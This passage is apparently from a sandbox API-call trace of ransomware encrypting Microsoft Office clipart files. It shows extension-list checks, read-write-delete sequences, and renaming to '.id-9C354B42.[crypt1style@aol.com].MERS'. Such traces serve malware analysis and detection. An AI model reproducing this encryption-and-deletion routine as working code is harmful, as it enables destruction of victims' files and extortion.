(lpString1=".7z", lpString2="WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString=".dbf") returned 4 [0273.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString=".1cd") returned 4 [0273.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString=".jpg") returned 4 [0273.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString=".doc") returned 4 [0273.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".docx") returned 5 [0273.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.559] lstrlenW (lpString=".pdf") returned 4 [0273.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".xls") returned 4 [0273.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.559] lstrlenW (lpString=".xlsx") returned 5 [0273.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.559] lstrlenW (lpString=".ppt") returned 4 [0273.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.559] lstrlenW (lpString=".zip") returned 4 [0273.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.559] lstrlenW (lpString=".rar") returned 4 [0273.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.559] lstrlenW (lpString=".bz2") returned 4 [0273.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString=".7z") returned 3 [0273.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.560] lstrlenW (lpString=".dbf") returned 4 [0273.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.560] lstrlenW (lpString=".1cd") returned 4 [0273.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0273.560] lstrlenW (lpString=".jpg") returned 4 [0273.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.560] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.560] lstrlenW (lpString="BS01634_.WMF") returned 12 [0273.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.560] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3494) returned 1 [0273.560] CloseHandle (hObject=0x3a8) returned 1 [0273.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0273.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.561] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.561] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.561] GetLastError () returned 0x0 [0273.561] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xda6, lpOverlapped=0x0) returned 1 [0273.594] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0273.595] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.595] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.595] SetEndOfFile (hFile=0x3b0) returned 1 [0273.595] CloseHandle (hObject=0x3b0) returned 1 [0273.595] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.595] SetEndOfFile (hFile=0x3a8) returned 1 [0273.597] CloseHandle (hObject=0x3a8) returned 1 [0273.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0273.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.598] lstrlenW (lpString=".doc") returned 4 [0273.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.598] lstrlenW (lpString=".docx") returned 5 [0273.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.598] lstrlenW (lpString=".pdf") returned 4 [0273.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.598] lstrlenW (lpString=".xls") returned 4 [0273.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.598] lstrlenW (lpString=".xlsx") returned 5 [0273.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.598] lstrlenW (lpString=".ppt") returned 4 [0273.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.598] lstrlenW (lpString=".zip") returned 4 [0273.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.598] lstrlenW (lpString=".rar") returned 4 [0273.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.598] lstrlenW (lpString=".bz2") returned 4 [0273.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.598] lstrlenW (lpString=".7z") returned 3 [0273.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString=".dbf") returned 4 [0273.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString=".1cd") returned 4 [0273.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString=".jpg") returned 4 [0273.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString=".doc") returned 4 [0273.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString=".docx") returned 5 [0273.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.599] lstrlenW (lpString=".pdf") returned 4 [0273.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString=".xls") returned 4 [0273.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.599] lstrlenW (lpString=".xlsx") returned 5 [0273.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.599] lstrlenW (lpString=".ppt") returned 4 [0273.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.599] lstrlenW (lpString=".zip") returned 4 [0273.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.599] lstrlenW (lpString=".rar") returned 4 [0273.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString=".bz2") returned 4 [0273.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.599] lstrlenW (lpString=".7z") returned 3 [0273.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.600] lstrlenW (lpString=".dbf") returned 4 [0273.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.600] lstrlenW (lpString=".1cd") returned 4 [0273.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0273.600] lstrlenW (lpString=".jpg") returned 4 [0273.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.600] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.600] lstrlenW (lpString="BS01637_.WMF") returned 12 [0273.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.600] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3948) returned 1 [0273.600] CloseHandle (hObject=0x3a8) returned 1 [0273.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0273.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.601] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.601] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.602] GetLastError () returned 0x0 [0273.602] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xf6c, lpOverlapped=0x0) returned 1 [0273.631] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xf70, lpOverlapped=0x0) returned 1 [0273.632] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.632] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.632] SetEndOfFile (hFile=0x3b0) returned 1 [0273.636] CloseHandle (hObject=0x3b0) returned 1 [0273.636] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.636] SetEndOfFile (hFile=0x3a8) returned 1 [0273.637] CloseHandle (hObject=0x3a8) returned 1 [0273.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0273.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.638] lstrlenW (lpString=".doc") returned 4 [0273.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.638] lstrlenW (lpString=".docx") returned 5 [0273.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.638] lstrlenW (lpString=".pdf") returned 4 [0273.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.638] lstrlenW (lpString=".xls") returned 4 [0273.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.638] lstrlenW (lpString=".xlsx") returned 5 [0273.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.638] lstrlenW (lpString=".ppt") returned 4 [0273.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.638] lstrlenW (lpString=".zip") returned 4 [0273.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.638] lstrlenW (lpString=".rar") returned 4 [0273.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.638] lstrlenW (lpString=".bz2") returned 4 [0273.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString=".7z") returned 3 [0273.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString=".dbf") returned 4 [0273.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString=".1cd") returned 4 [0273.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString=".jpg") returned 4 [0273.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString=".doc") returned 4 [0273.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString=".docx") returned 5 [0273.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.639] lstrlenW (lpString=".pdf") returned 4 [0273.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString=".xls") returned 4 [0273.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.639] lstrlenW (lpString=".xlsx") returned 5 [0273.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.639] lstrlenW (lpString=".ppt") returned 4 [0273.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.639] lstrlenW (lpString=".zip") returned 4 [0273.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.639] lstrlenW (lpString=".rar") returned 4 [0273.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString=".bz2") returned 4 [0273.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.639] lstrlenW (lpString=".7z") returned 3 [0273.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.640] lstrlenW (lpString=".dbf") returned 4 [0273.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.640] lstrlenW (lpString=".1cd") returned 4 [0273.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0273.640] lstrlenW (lpString=".jpg") returned 4 [0273.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.640] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.640] lstrlenW (lpString="BS01638_.WMF") returned 12 [0273.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.640] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=10538) returned 1 [0273.640] CloseHandle (hObject=0x3a8) returned 1 [0273.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0273.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.641] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.641] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.641] GetLastError () returned 0x0 [0273.641] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x292a, lpOverlapped=0x0) returned 1 [0273.717] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x2930, lpOverlapped=0x0) returned 1 [0273.718] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.718] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.718] SetEndOfFile (hFile=0x3b0) returned 1 [0273.718] CloseHandle (hObject=0x3b0) returned 1 [0273.718] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.718] SetEndOfFile (hFile=0x3a8) returned 1 [0273.720] CloseHandle (hObject=0x3a8) returned 1 [0273.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0273.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.721] lstrlenW (lpString=".doc") returned 4 [0273.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.721] lstrlenW (lpString=".docx") returned 5 [0273.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.721] lstrlenW (lpString=".pdf") returned 4 [0273.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.721] lstrlenW (lpString=".xls") returned 4 [0273.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.721] lstrlenW (lpString=".xlsx") returned 5 [0273.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.721] lstrlenW (lpString=".ppt") returned 4 [0273.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.721] lstrlenW (lpString=".zip") returned 4 [0273.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.721] lstrlenW (lpString=".rar") returned 4 [0273.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.721] lstrlenW (lpString=".bz2") returned 4 [0273.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.721] lstrlenW (lpString=".7z") returned 3 [0273.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.721] lstrlenW (lpString=".dbf") returned 4 [0273.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.722] lstrlenW (lpString=".1cd") returned 4 [0273.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 